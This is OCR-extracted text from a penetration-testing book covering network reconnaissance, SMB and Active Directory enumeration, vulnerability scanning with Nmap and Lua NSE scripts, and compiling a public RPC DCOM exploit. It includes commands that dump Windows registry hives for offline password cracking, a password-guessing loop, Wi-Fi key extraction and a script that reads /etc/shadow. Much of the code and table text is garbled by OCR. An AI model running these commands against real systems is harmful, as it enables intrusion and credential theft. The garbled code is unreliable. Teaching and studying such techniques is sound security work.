RX packets 536415 bytes 761467023 (726.1 MiB)
RX errors @ dropped © overruns 0 frame 0
TX packets 236433 bytes 14338324 (13.6 MiB)
TX errors 0 dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.06.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 80 bytes 4892 (4.7 KiB)
RX errors @ dropped © overruns 0 frame 0
TX packets 80 bytes 4892 (4.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

:~# cat /etc/resolv.conf
domain superdude.ad
search superdude.ad
nameserver 10.10.65.181
nameserver 10.10.65.110
nameserver 10.10.65.91

e inet: The IP information obtained by the DHCP server should provide us with
at least one active subnet which can be utilized to identify the list of live systems
and services through different scanning techniques.

e netmask: This information can be utilized to calculate the subnet ranges. From
the previous screenshot, we have 255.255.240.0, which means CIDRis /20
and potentially we can expect 4094 hosts on the same subnet.

e Default gateway: The IP information of the gateway will provide the
opportunity to ping other similar gateway IP's. For example, if your default
gateway IPis 192.168.1.1 by using ping scans attackers may be able to
enumerate other similar IPs such as 192.168.2.1,192.168.3.1, and so on.
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e Other IP address: DNS information can be obtained by accessing
the /etc/resolv.conf file. The IP addresses in this file are commonly
addressed in all of the subnets and domain information will also be
automatically available in the same file.

Native MS Windows commands

The following section provides a list of useful commands during a penetration testing or
red teaming exercise, even when having physical access to the system or having a remote
shell to communicate to the target. These commands are not limited to the following:

Command

Sample

Description

nslookup

nslookup

Server nameserever.google.com
Set type=any

ls -d anydomain.com

nslookup is used to query
the DNS. The sample
command does DNS zone
transfer using nslookup.

net view

net view

This displays a list of
computers/domains and
other shared resources.

This manages the shared

net use \\[targetIP]\[sharename]

net net share list='c:" resources and displays all
share information about the shared
resources on the local system.
net use \\[targetIP] [password] This connects to any system
/u: [user] on the same network; it can
net use

also be used for retrieving a

arp

arp /a /n 10.0.0.99
arp /s 10.0.0.80 00-AA-00-4F-2A-9C

]

[password] /u:[user] list of network connections.

net user [UserName [Password | *]

[options]] [/domain] This displays information

net user [UserName {Password | *} regarding users and performs
net user , . . .

/add [options] [/domain]] activity related to user

net user [UserName [/delete] accounts.

[/domain]]

arp /a This displays and

modifies any entries in the
ARP cache.
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route print
route print 10.*

Similar to ARP, route can be
utilized to understand the

route route add 0.0.0.0 mask 0.0.0.0 . X
192 168.12 .1 local IP routing and modify
route delete 10.* this information.

This displays all active TCP

connections and ports on the
netstat |netstat -n -o lf)cal §ystem, thgt is to say,

listening on which Ethernet

and IP routing tables (IPv4

and IPv6) and statistics.

This displays NETBIOS

nbtstat /R infqrmatiop, no?mally

nbtstat |nbtstat /S 5 utlll'ZQd to identify a
nbtstat /a Ip partlct%lar MAC adfiress (?f an

IP, which can be utilized in

MAC spoof attacks.

wmic is utilized for all typical
wmic process get diagnostics an attacker can

Wi caption, executablepath, commandline perform; for example, a
wmic netshwlan profile = system's Wi-Fi password can
"profilename" key=clear be extracted in a single

command.

reg save HKLM\Security sec.hive

reg save HKLM\System sys.hive

reg save HKLM\SAM sam.hive

reg add [\\TargetIPaddr\] The reg command is used by
reg [RegDomain] [ \Key 1] . most attackers to save

reg export [RegDomain]\ [Key] registry hives to perform

[FileName] offline password attacks.

reg import [FileName ]

reg query [\\TargetIPaddr\]

[RegDomain]\[ Key ] /v [Valuename!]

for /L %i in (1,1,10) do echo %ii &&

ping -n 5 IP The for loop can be utilized
for for /F %i in (password.lst) do Qecho |in Windows to create a

%$1& @net use \\[targetIP] %i
/u: [Username] 2>nulé&& pause && echo
[Username] :%i>>done.txt

portscanner or enumeration
of accounts.
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ARP broadcasting

During an internal network active reconnaissance, the entire local network can be scanned
using nmap (nmap -v -sn IPrange) to sniff the ARP broadcasts. In addition, Kali has
arp-scan (arp-scan IP range) to identify a list of hosts that are alive on the same
network.

The following screenshot of Wireshark provides the traffic generated at the target when
arp-scan is run against the entire subnet. This is considered to be a non-stealthy scan:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

laml @@ SR RE Qo= B oo

N | Apply a dis Ctrl-/ -J - | Expression.. +

No. Time Source Destination Protocol Length Info *
183 32.051229233 IntelCor_B8c:cc:64 Broadcast ARP 60 'Inrho has 192.168.0.1437 Tell 192..‘
] o CadmusCo_08:fc: IntelCor_8c:cc:64 .168.0. 2 _
185 42.179222891 D-LinkIn_09:f1:b® IntelCor_8a:b9:3c ARP 60 192.168.0.1 is at 1c:51‘:2b:®9:
106 51.816694558 IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.07 Tell 192.1
187 51.816714251 IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.17 Tell 192.1
108 51.816717524 IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.27 Tell 192.1
109 51.816719344 IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.37 Tell 192.1
110 51.816721@88 IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.47 Tell 192.1
111 51.8167229686@ IntelCor_B8c:cc:64 Broadcast ARP 60 Who has 192.168.0.57 Tell 192.1..
112 51.816724678 1IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.67 Tell 192.1..
113 51.91895476@ IntelCor_8c:cc:64 Broadcast ARP 60 Who has 192.168.0.117 Tell 192...
114 51.918984815 IntelCor_8c:cc:64 Broadcast ARP 668 Who has 192.168.0.142 Tell 192..
115 51.918988282 IntelCor_8c:cc:64 Broadcast ARP 668 Who has 192.168.0.15? Tell 192..
116 52.840627472 IntelCor_8c:cc:64 Broadcast ARP 660 Who has 192.168.0.243? Tell 192.
117 52.840648652 IntelCor_8c:cc:64 Broadcast ARP 660 Who has 192.168.60.2447 Tell 192. I
118 52.8460650411 IntelCor_8c:cc:64 Broadcast ARP 660 Who has 192.168.60.245? Tell 192.
119 52.840652036 IntelCor 8c:cc:64 Broadcast ARP 60 Who has 192.168.0.2467 Tell 192.

» Frame 104: 42 bytes on wire (336 hltS) 42 bytes captured (336 bits) on interface @
» Ethernet II, Src: CadmusCo_08:fc:e7 (08:00:27:08:fc:e7), Dst: IntelCor_8c:cc:64 (8c:78:5a:8c:cc:64)

» Address Resolution Protocol (reply)

Ping sweep

Ping sweep is the process of pinging an entire range of network IP addresses or individual
IPs to find out whether they're alive and responding. An attacker's first step in any large-
scale scanning is to enumerate all of the hosts that are responding. Penetration testers can
leverage fping or nmap or even write custom Bash scripts to do the activity:

fping —-g IPrange
nmap —-sP IPrange

for i in {1..254}; do ping -c 1 10.10.0.%1 | grep 'from'; done
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Sometimes, attackers can get a roadblock during the ping sweep due to the firewall that
blocks all of the ICMP traffic. In case of an ICMP block, we can utilize the following
command to identify alive hosts by specifying a specific list of port numbers during the
ping sweep:

nmap -sP -PT 80 IPrange

The following screenshot shows all of the live hosts that were discovered using the fping
tool:

# fping -g 192.168.0.1/24
.1 is alive
.21 is alive
.18 is alive
.10 is alive
.13 is alive
.100 is alive
.200 is alive
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable

0000000000
OO0 000000000
W inmmoea o NN WWE B

Using scripts to combine masscan and nmap
scans

The speed and reliability of masscan and nmap ability to enumerate in detail is a great
combination to use in our goal-based penetration testing strategy. In this section, we will
write a small script that can save time and provide more accurate results that can be used
during exploitation and identifying the right vulnerabilities:

#!/bin/bash
function helptext {

echo "enter the massnmap with the file input with list of IP address
ranges"

}
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if [ "S$#" -ne 1 ]; then
echo "Sorry cannot understand the command"
helptext>&2
exit 1
elif [ ! -s $1 ]; then
echo "ooops it is empty"
helptext>&2
exit 1
fi
if [ "$(id -u)" != "0" ]; then
echo "I assume you are running as root"
helptext>&2
exit 1
fi

for range in $(cat $1); do
store=$ (echo $range | sed -e 's/\//_/g")
echo "I am trying to create a store to dump now hangon"
mkdir -p pwd/S$store;
iptables -A INPUT -p tcp —--dport 60000 -j DROP;
echo —-e "\n alright lets fire masscan ****"

masscan —-open —--banners —--source-port 60000 -p0-65535 —--max-rate 15000 -
oBpwd/$store/masscan.bin $range; masscan --read$
if [ ! -s ./results/S$store/masscan-output.txt ]; then
echo "Thank you for wasting time"
else
awk'/open/ {print $4,$3,$2,$1}"' ./results/$store/masscan-output.txt |
awk'
/+/4
if (! ($1 in Vval)) { Key[++i] = $1; }
val[$l] = val[$1] s$2 ", ";
END{
for (3 = 1; j <= 1i; j++) |
printf ("$s:%$s\n%s", Key[j], Val([Key[jl]l, (J == i) 2 "" : "\n");
}

}'>}./results/S$store/hostsalive.csv

for ipsfound in $(cat ./results/S$store/hostsalive.csv); do
IP=$ (echo $TARGET | awk -F: '{print $1}');
PORT=$ (echo $TARGET | awk -F: '{print $2}' | sed's/,$//");
FILENAME=S (echo $IP | awk'{print "nmap_"S$1}');
nmap -vv -sV —--version-intensity 5 -sT -O —--max-rate 5000 -Pn -T3 -p
SPORT -o0A ./results/S$store/SFILENAME S$IP;
done
fi
done
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Now, save the file into anyname . sh and then chmod +x anyname.sh. Next, run
./anyname.sh fileincludesipranges.

Upon executing the preceding script, you should be able to see the following screenshot:

akali:~# ./massnmao.sh ipran.txt
I am trying to create a store to dump now hangon

alright Tets fire masscan ****

Starting masscan 1.0.3 (http://bit.1y/14GZzcT) at 2017-03-05 08:29:25 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 256 hosts [65536 ports/host]

[late: 3.69-kpps, 0.67% done, 0:55:45 remaining, found=1

Taking advantage of SNMP

SNMP stands for Simple Network Management Protocol; traditionally, this is used for
collecting information about configuration of network devices such as printers, hubs,
switches, routers on internet protocol, and servers. Attackers can potentially take
advantage of SNMP that runs on UDP port 161 (by default) when it is poorly configured or
left out with default configuration having a default community string. SNMP has been
developed from 1987: version 1 had plain text passwords in transit, version 2c had
improved performance, but still plain text passwords, and now the latest v3 encrypts all of
the traffic with message integrity.

There are two types of community strings utilized in all versions of SNMP:

¢ Public: Community string is used for read-only access
e Private: Community string is used for both read and write access

The first step that attackers would look for is any identified network device on the internet
and find if a public community string is enabled so that they can pull out all of the
information specific to the network and draw a topology around it to create more focused
attacks. These issues arise since most of the time IP-based Access Control Listing (ACL) is
often not implemented or not used.

Kali Linux provides multiple tools to perform the SNMP enumeration; attackers can utilize
SNMP walk to understand the complete information SNMP steps as shown in the following
screenshot:

snmpwalk —-c public ipaddress
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Attackers can also utilize Metasploit to perform SNMP enumeration, by using the
/auxiliary/scanner/snmp/snmpenum module as shown in the following screenshot.
Some systems have SNMP installed purely ignored by the system administrators:
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Attackers will be able to extract all of the user accounts by using account enumeration
modules within Metasploit, as shown in the following screenshot:

Windows account information via SMB (Server
Message Block) sessions

Traditionally, during Internal network scanning, it is very likely that attackers exploit the
internal SMB sessions that are most commonly used. In the case of external exploitation,
attackers can engage nmap to perform the enumeration, but this scenario is very rare. The
following nmap command will enumerate all of the remote users on the Windows machine.
This information normally creates lots of entry points much like brute forcing and
password guessing attacks in later stages:

nmap —--script smb—enum-users.nse -p445 <host>

Attackers may also utilize the Metasploit

module, auxiliary/scanner/smb/smb_enumusers, to perform the activity. The
following screenshot shows the successful enumeration of users on a Windows system
running Metasploitable3:

[118]



Active Reconnaissance of External and Internal Networks Chapter 3

'Letmein!@1"

) > run

dministrator, G -,k gt, admin, No

This can be achieved either by having a valid password guess to the system or by brute
forcing the SMB logins.

Locating network shares

One of the oldest attacks that penetration testers these days forget is the NETBIOS null
session, which will allow them to enumerate all of the network shares:

smbclient -I TargetIP -L administrator -N -U ""

Also, we can utilize enum41inux similar to enum. exe from
formerly bindview.com, which is now taken over by Symantec; this tool is normally for
enumerating information from Windows and Samba systems:

enum4linux.pl [options] targetip
The options are the following (such as enum):

e —U: Get user list

e —M: Get machine list

e —s: Get share list

e —P: Get password policy information

o —G: Get group and member list

e —d: Be detailed; applies to -U and -s

® —u user: Specify username to use (default "")
* —p pass: Specify password to use (default "")
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The tool is more aggressive in scanning and identifying the list of domains along with the
Domain SID, as shown in the following screenshot:

kali:~# enum4linux 192.168.0.16
Starting enumé4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux
/ ) on Sun Sep 30 16:20:29 2018

Target Informati

192.168.0.16
500-550,1000-1050

(Nl

T

. administrator, guest, krbtgt, domain admins, root, bin, none

Enumerating Workgr

Got domain/workgroup name: WORKGROUP

ng up status of 192.168.
UBUNTU <00> B <ACTIVE> Workstation Service
UBUNTU <03> B <ACTIVE> Messenger Service
UBUNTU <20> B <ACTIVE> File Server Service
. .__ MSBROWSE__ . <01> <GROUP> B <ACTIVE> Master Browser

i mw v - - ie= o me

Reconnaissance of active directory domain
servers

Often during an internal penetration testing activity, penetration testers will be provided
with a username and password. In real-world scenarios, the attackers are inside the
network and an attack scenario would be what they could do with normal user access and
how they elevate the privileges to compromise the enterprise domain.

Kali provides a default installed rpcclient that can be utilized to perform more active
reconnaissance on an active directory environment. This tool provides multiple options to
extract all of the details about domain and other networking services, which we will be
exploring in chapter 10, Exploitation.
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The following screenshot provides the enumeration of lists of domains, users, and groups:

root@kali:~# rpcclient -U "vagrant" 192.168.0.15
Enter WORKGROUP\vagrant's password:
rpeclient $> enumdomains

name :
name :

[METASPLOITABLE3] idx: [0x0]
[Builtin] idx: [0x0]

rpcelient $> enumdomusers

user
user
user

: [Administrator] rid: [0x1£4]
:[anakin skywalker] rid:[0x3f3]
:[artoo_detoo] rid: [0x3ef]
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:
user:

[ben kenobi] rid:[0x3f1]
[boba fett] rid: [0x3f6]
[chewbacca] rid: [0x3£9]
[q_three_pio] rid: [0x3£0]
[darth wvader] rid:[0x3f2]
[greedo] rid:[0x3f8]

[Guest] rid:[0x1f5]
[han_solo] rid:[0x3ee]
[Jabba hutt] rid:[0x3£f7]
[Jarjar binks] rid:[0x3f4]
[kylo_ren] rid:[0x3fa]
[lando_calrissian] rid: [0x3£5]
[leia_prgana] rid: [0x3ec]
[luke skywalker] rid:[0x3ed]
[sshd] rid:[0x3e9]

[sshd server] rid:[0x3eal
[vagrant] rid: [0x3e8]

Using comprehensive tools (SPARTA)

To speed up the penetration tester's goal, Kali has SPARTA, which combines multiple tools
such as nmap and nikto and allows us to configure. In order to configure SPARTA, you
must edit the sparta.conf file located at /etc/Sparta/. When the application is opened,
it will check for the configuration; if there is no configuration, it will pick up the default

configuration values.

The following items are available in the configuration:

e tool: This is the unique identifier of the command-line tool, for example, nmap

e label: This is the text that appears on the context menu

e command: Normally this should be in non-interactive mode and the full
command that you will run using a tool
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e services: These are the list of services that need to be run during the automatic
run; for example, if you configure to run nmap and when port 80 is identified
automatically run nikto

e Protocol: Either TCP or UDP are the services that the tool should run on

An example to configure SPARTA

To configure the nikto tool as a port action, we would need to add the following line to the
[PortActions] section in sparta.conf:

nikto=Run nikto, nikto —-o [OUTPUT].txt —-p [PORT] -h [IP], "http, https"

The following screenshot shows the SPARTA in action against a local subnet. By default, it
performs nmap full portscan, nikto, on identified web services port and takes a screenshot
if available:

SPARTA 1.0.3 (BETA) - untitled - /root/ e ® ¢
File Help
Scan | Brute
Hosts | Services Tools Services | Scripts = Information Notes nikto (80/tcp) &  nikto (443/tcp) &
0os Host Port Protocol State Name Version
? 192.168.0.1 ® 80 tcp open http lighttpd
@ 192.168.0.10 © 443 tcp open http lighttpd
© 192.168.0.13
© 192.168.0.15
© 192.168.0.16
© 192.168.0.20
© 192.168.0.24
L J&JE
Log
Progress Tool Host Start time End time Status
I screenshot (80/tcp) 192.168.0.16 30 Sep 2018 16:25:35 30 Sep 2018 16:25:35  Finished |]
DI nikto (443/tcp) 192.168.0.1 30 Sep 2018 16:25:34 Running
I nikto (80/tcp) 192.168.0.1 30 Sep 2018 16:25:34 Running
TE— iltn (R0 /) 102 168 N 16 20 Sen 2N1R 16:25:34 Runnina L
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Summary

Attackers might face a very real chance of their activities being identified; it will put them
at risk. However, we have now explored different techniques that can be engaged during
active reconnaissance. Attackers must ensure that there is a balance against the need to map
a network, find open ports and services, and determine the operating system and
applications that are installed. The real challenge for the attackers is to adopt the stealthy
scanning techniques to reduce the risk of triggering an alert.

Manual approaches are normally used to create slow scans; however, this approach may
not be always effective. Therefore, attackers take advantage of tools such as the Tor
network and various proxy applications to hide their identity.

In the next chapter, we will explore more techniques and procedures on vulnerability
assessments: how to utilize the scanners to identify the vulnerabilities that can be utilized
as the potential candidates for the exploitation to move forward in achieving the objective.
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The goal of passive and active reconnaissance is to identify the exploitable target and
vulnerability assessment is to find the security flaws that are most likely to support the
tester's or attacker's objective (denial of service, theft, or modification of data). The
vulnerability assessment during the exploit phase of the kill chain focuses on creating the
access to achieve the objective—mapping of the vulnerabilities to line up the exploits and to
maintain persistent access to the target.

Thousands of exploitable vulnerabilities have been identified, and most are associated with
at least one proof-of-concept code file or technique to allow the system to be compromised.
Nevertheless, the underlying principles that govern success are the same across networks,
operating systems, and applications.

In this chapter, you will learn about the following:

¢ Using online and local vulnerability resources

Vulnerability scanning with Nmap

Lua scripting

Writing your own Nmap script using Nmap Scripting Engine (NSE)

Selecting and customizing multiple vulnerability scanners

Installing Nexpose and Nessus

Threat modeling in general

Vulnerability nomenclature

Vulnerability scanning employs automated processes and applications to identify
vulnerabilities in a network, system, operating system, or application that may be
exploitable.
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When performed correctly, a vulnerability scan delivers an inventory of devices (both
authorized and rogue devices), known vulnerabilities that have been actively scanned for,
and usually a confirmation of how compliant the devices are with various policies and
regulations.

Unfortunately, vulnerability scans are loud; they deliver multiple packets that are easily
detected by most network controls and make stealth almost impossible to achieve. They
also suffer from the following additional limitations:

e For the most part, vulnerability scanners are signature-based; they can only
detect known vulnerabilities, and only if there is an existing recognition
signature that the scanner can apply to the target. To a penetration tester, the
most effective scanners are open source and they allow the tester to rapidly
modify code to detect new vulnerabilities.

e Scanners produce large volumes of output, frequently containing false-positive
results that can lead a tester astray; in particular, networks with different
operating systems can produce false-positives with a rate as high as 70 percent.

e Scanners may have a negative impact on the network; they can create network
latency or cause the failure of some devices, It is recommended to tweak the scan
by removing denial of service type plugins during initial scans.

e In certain jurisdictions, scanning is considered hacking, and may constitute an
illegal act.

There are multiple commercial and open source products that perform vulnerability scans.

Local and online vulnerability databases

Together, passive and active reconnaissance identifies the attack surface of the target, that
is, the total number of points that can be assessed for vulnerabilities. A server with just an
operating system installed can only be exploited if there are vulnerabilities in that
particular operating system; however, the number of potential vulnerabilities increases
with each application that is installed.

Penetration testers and attackers must find the particular exploits that will compromise
known and suspected vulnerabilities. The first place to start the search is at vendor sites;
most hardware and application vendors release information about vulnerabilities when
they release patches and upgrades. If an exploit for a particular weakness is known, most
vendors will highlight this to their customers. Although their intent is to allow customers to
test for the presence of the vulnerability themselves, attackers and penetration testers will
take advantage of this information as well.
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Other online sites that collect, analyze, and share information about vulnerabilities are as

follows:

¢ The National Vulnerability Database, which consolidates all public vulnerability
data released by the US Government, available at http://web.nvd.nist.gov/
view/vuln/search

e Secunia, available at http://secunia.com/community/

e Packetstorm security, available at https://packetstormsecurity.com/

o SecurityFocus, available at http://www.securityfocus.com/vulnerabilities

¢ The Exploit database maintained by Offensive Security, available at https://
www.exploit-db.com/

e For some 0-day vulnerabilities, penetration testers can also keep an eye on
https://0day.today/

The Exploit database is also copied locally to Kali and it can be found in the
/usr/share/exploitdb directory.

To search the local copy of exploitdb, open a Terminal window and enter searchsploit
and the desired search term(s) in the command prompt. This will invoke a script that
searches a database file (. csv) that contains a list of all exploits. The search will return a
description of known vulnerabilities as well as the path to a relevant exploit. The exploit
can be extracted, compiled, and run against specific vulnerabilities. Take a look at the
following screenshot, which shows the description of the vs FTPd vulnerabilities:

(/usr/share/exploitdb/)

rintf() ' Format Strings exploits/linux/remote/204.c

'CWD' Authenticated Remote Memory Consumption exploits/linux/dos/5814.pl
'deny file' Option Remote Denial of Service (1) exploits/windows/dos/31818.sh
'deny file' Option Remote Denial of Service (2) exploits/windows/dos/31819.pl
Denial of Service exploits/linux/dos/16270.c
Backdoor Command Execution (Metasploit) exploits/unix/remote/17491.rb

The search script scans for each line in the CSV file from left to right, so
the order of the search terms is important; a search for Oracle 10g will
return several exploits, but 10g Oracle will not return any. Also, the
script is weirdly case sensitive; although you are instructed to use
lowercase characters in the search term, a search for vsFTPd returns no
hits, but vs FTPd returns more hits with a space between vs and FTP.
More effective searches of the CSV file can be conducted using the grep
command or a search tool such as Kiirite (apt—get install kwrite).
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A search of the local database may identify several possible exploits with a description and
a path listing; however, these will have to be customized to your environment, and then
compiled prior to use. Copy the exploit to the /tmp directory (the given path does not take
into account that the /windows/remote directory resides in the /plat forms directory).

Exploits presented as scripts such as Perl, Ruby, and PHP authentication are relatively easy
to implement. For example, if the target is a Microsoft IIS 6.0 server that may be vulnerable
to a WebDAYV remote aupass, copy the exploit to the root directory and then execute as a
standard Perl script, as shown in the following screenshot:

root@kali:~# perl 8806.pl

$ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
$ written by kaOx <kaOx0l[at]gmail.com>
$ 25/05/2009

usage:
perl $0 <host> <path>

example:
perl $0 localhost dixr/
perl $0 localhost dir/file.txt

Many of the exploits are available as source code that must be compiled before use. For
example, a search for RPC-specific vulnerabilities identifies several possible exploits. An
excerpt is shown in the following screenshot:

root@kali: # searchsploit "rpc DCOM"

(/usr/share/exploitdb/platforms)

Microsoft Windows Server 2000 - RPC DCOM Int /windows/dos/61l.c
Microsoft Windows 8.1 - DCOM DCE/RPC Local N /windows/local/37768.txt
Microsoft Windows - 'RPC DCOM' Remote Buffer /windows/remote/64.c
Microscoft Windows Server 2000/XP - 'RPC DCOM /windows/remote/66.
Microsoft Windows - 'RPC D Remote Exploi /windows/remote/69.
Microsoft Windows 'RPC DCOM' Remote Exploi /windows/remote/70.
Microsoft Windows 'RPC DCOM' Remote Exploi /windows/remote/76.
Microsoft Windows 'RPC DCOM' Scanner (MS03 /windows/remote/97.
Microsoft Windows 'RPC DCOM' Long Filename /windows/remote/100.c
Microsoft Windows - 'RPC DCOM2' Remote Explo /windows/remote/103.c
Microsoft RPC DCOM Interface - Overflow Expl /windows/remote/16749.rb
Microsoft Windows - DCOM RPC Interface Buffe /windows/remote/22917. txt
- (DCOM RPC2) Universal Shellcode /win_x86/shellcode/13532.asm
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The RPC DCOM vulnerability identified as 76 . ¢ is known from practice to be relatively
stable. So, we will use it as an example. To compile this exploit, copy it from the storage
directory to the /tmp directory. In that location, compile it using GCC with the command
that follows:

root@kali:~# gcc 76.c -o 76.exe

This will use the GNU Compiler Collection application to compile 76. c to a file with the
output (-o) name of 76.exe, as shown in the following screenshot:

rootlkali: # cp 76.c /tmp
roo : # cd /tmp
rootlRkali: # 1s

76.c
rootlRkali: # gcc 76.c —o 76.exe

When you invoke the application against the target, you must call the executable (which is
not stored in the /tmp directory) using a symbolic link as follows:

root@kali:~# ./76.exe

The source code for this exploit is well documented and the required parameters are clear
at execution, as shown in the following screenshot:

rootRkali: # ./76.exe
RPC DCOM exploit coded by .:[ocl92.us]:. Security
Usage:

./76.exe -d <host> [options]

Options:
-d: Hostname to attack [Required]
L Type [Default: 0]

-r: Return address [Default: Selected from target]
-p: Attack port [Default: 135]
-1: Bindshell port [Default: 666]

Types:
0 [0x0018759f]: [Win2k-Universall]
1 [0x0100139d]: [WinXP-Universal]
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Unfortunately, not all exploits from the Exploit database and other public sources compile
as readily as 76. c. There are several issues that make the use of such exploits problematic,
even dangerous, for penetration testers, which are listed as follows:

e Deliberate errors or incomplete source code are commonly encountered as
experienced developers attempt to keep exploits away from inexperienced users,
especially beginners who are trying to compromise systems without knowing the
risks that go with their actions.

¢ Exploits are not always sufficiently documented; after all, there is no standard
that governs the creation and use of code intended to be used to compromise a
data system. As a result, they can be difficult to use, particularly for testers who
lack expertise in application development.

e Inconsistent behaviors due to changing environments (new patches applied to
the target system and language variations in the target application) may require
significant alterations to the source code; again, this may require a skilled
developer.

e There is always the risk of freely available code containing malicious
functionalities. A penetration tester may think that they are conducting a proof
of concept (POC) exercise and will be unaware that the exploit has also created a
backdoor in the application being tested that could be used by the developer.

To ensure consistent results and create a community of coders who follow consistent
practices, several exploit frameworks have been developed. The most popular exploitation
framework is the Metasploit framework.

Vulnerability scanning with Nmap

There are no security operating distributions without Nmap. So far, we have discussed how
to utilize Nmap during active reconnaissance, but attackers don't just use Nmap to find
open ports and services, but also engage Nmap to perform the vulnerability assessment. As
of March 10, 2017, the latest version of Nmap is 7.40 and it ships with 500+ NSE scripts, as
shown in the following screenshot:
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rootilkali:
554

rootilkali:
total 4520
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root

4096
3901
8777
3345
6891
7001
5671
2621
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2965
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root 15150

acarsd-info.nse
address-info.nse
afp-brute.nse
afp-ls.nse
afp-path-vuln.nse
afp-serverinfo.nse
afp-showmount.nse
ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods.nse
ajp-request.nse
allseeingeye-info.nse
amgp-info.nse
asn-gquery.nse

Penetration testers utilize Nmap's most powerful and flexible features, which allow them to
write their own scripts and also automate them to simplify the exploitation. Primarily, the

NSE was developed for the following reasons:

e Network discovery: The primary purpose that attackers utilize Nmap for is
network discovery, as we learned in the active reconnaissance section in Chapter
3, Active Reconnaissance of External and Internal Networks.

e Classier version detection of a service: There are thousands of services with
multiple version details for the same service, so Nmap makes it more

sophisticated to identify the service.

¢ Vulnerability detection: To automatically identify vulnerability in a vast
network range; however, Nmap itself cannot be a full vulnerability scanner in

itself.

¢ Backdoor detection: Some of the scripts are written to identify the pattern of
backdoors. If there are any worms infecting the network, it makes the attacker's
job easy to narrow down and focus on taking over the machine remotely.

e Vulnerability exploitation: Attackers can also potentially utilize Nmap to
perform exploitation in combination with other tools such as Metasploit or write
a custom reverse shell code and combine Nmap's capability with them for

exploitation.
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Before firing up Nmap to perform the vulnerability scan, penetration testers must update
the Nmap script database to see whether there are any new scripts added to the database,
so that they don't miss the vulnerability identification:

nmap —--script-updatedb
Use the following to run all the scripts against the target host:

nmap -T4 -A -sV -v3 -d -oA Target output —--script all —--script-
argsvulns.showall target.com

Introduction to Lua scripting

Lua is a lightweight embeddable scripting language, which is built on top of the C
programming language, was created in Brazil in 1993 and is still actively developed. It is a
powerful and fast programming language mostly used in gaming applications and image
processing. The complete source code, manual, plus binaries for some platforms do not go
beyond 1.44 MB (which is less than a floppy disk). Some of the security tools that are
developed in Lua are Nmap, Wireshark, and Snort 3.0.

One of the reasons why Lua was chosen to be the scripting language in information
security is due to its compactness, no buffer overflows and format string vulnerabilities,
and because it can be interpreted.

Lua can be installed directly in Kali Linux by issuing the apt-get install
lua5.3 command on the Terminal. The following code extract is the sample script to read
the file and print the first line:

#!/usr/bin/lua

local file = io.open("/etc/shadow", "r")
contents = file:read()

file:close()

print (contents)
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Lua is similar to any other scripting, such as Bash and Perl scripting. The preceding script
should produce the output shown in the following screenshot:

# nano test.lua
d H # chmod +x test.lua
r @ i: # ./test.lua

root: $65hn5vVgdr95ejXWMYodwugmé2GUaIwU4ELPM3 . VkgEMseP0804 2WknrAqwIEVaPupzlml 0x. ak
ogqqJrwHNjyylGw. TtmR7pF0:17647:0:99999:7: ::

Customizing NSE scripts

In-order to achieve maximum effectiveness, customization of scripts helps penetration
testers in finding the right vulnerabilities within the given span of time. However, most of
the time attackers do not have the time limit to write one. The following code extract is a
Lua NSE script to identify a specific file location that we will search for on the entire subnet
using Nmap:

local http=require 'http'
description = [[ This is my custom discovery on the network ]]
categories = {"safe","discovery"}
require ("http")
function portrule (host, port)
return port.number == 80
end

function action (host, port)
local response
response = http.get (host, port, "/config.php")

if response.status and response.status ~= 404
then
return "successful"
end
end
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Save the file into the /usr/share/nmap/scripts/ folder. Finally, your script is ready to
be tested, as shown in the following screenshot; you must be able to run your own NSE
script without any problems:

Vv -Pn —p 80 —
10-06 17:46 EDT

(1 total ports)

on 1 host)

runlex

E at 1
NSE at 17
rt £

{ {Debian))

To completely understand the preceding NSE script, here is the description of what is in the
code:

e local http: require'http': This calls the right library from the Lua; the line
calls the HTTP script and make it a local request

e description: Where testers/researchers can enter the description of the script

e categories: This typically has two variables, where one declares whether it is
safe or intrusive
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Web application vulnerability scanners

Vulnerability scanners suffer the common shortcomings of all scanners (a scanner can only
detect the signature of a known vulnerability; they cannot determine if the vulnerability can
actually be exploited; there is a high incidence of false-positive reports). Furthermore, web
vulnerability scanners cannot identify complex errors in business logic, and they do not
accurately simulate the complex chained attacks used by hackers.

In an effort to increase reliability, most penetration testers use multiple tools to scan web
services; when multiple tools report that a particular vulnerability may exist, this consensus
will direct the tester to areas that may require manually verifying the findings.

Kali comes with an extensive number of vulnerability scanners for web services, and
provides a stable platform for installing new scanners and extending their capabilities. This
allows penetration testers to increase the effectiveness of testing by selecting scanning tools
that do the following:

¢ Maximize the completeness (the total number of vulnerabilities that are
identified) and accuracy (the vulnerabilities that are real and not false-positive
results) of testing.

e Minimize the time required to obtain usable results.

¢ Minimize the negative impacts on the web services being tested. This can include
slowing down the system due to an increase of traffic throughput. For example,
one of the most common negative effects is a result of testing forms that input
data to a database, and then emailing an individual providing an update of the
change that has been made; uncontrolled testing of such forms can result in more
than 30,000 emails being sent!

There is significant complexity in choosing the most effective tool. In addition to the factors
already listed, some vulnerability scanners will also launch the appropriate exploit and
support post-exploit activities. For our purposes, we will consider all tools that scan for
exploitable weaknesses to be vulnerability scanners. Kali provides access to several
different vulnerability scanners, including the following;:

¢ Scanners that extend the functionality of traditional vulnerability scanners to
include websites and associated services (for example, the Metasploit framework
and Websploit)

e Scanners that extend the functionality of non-traditional applications, such as
web browsers, to support web service vulnerability scanning (OWASP Mantra)

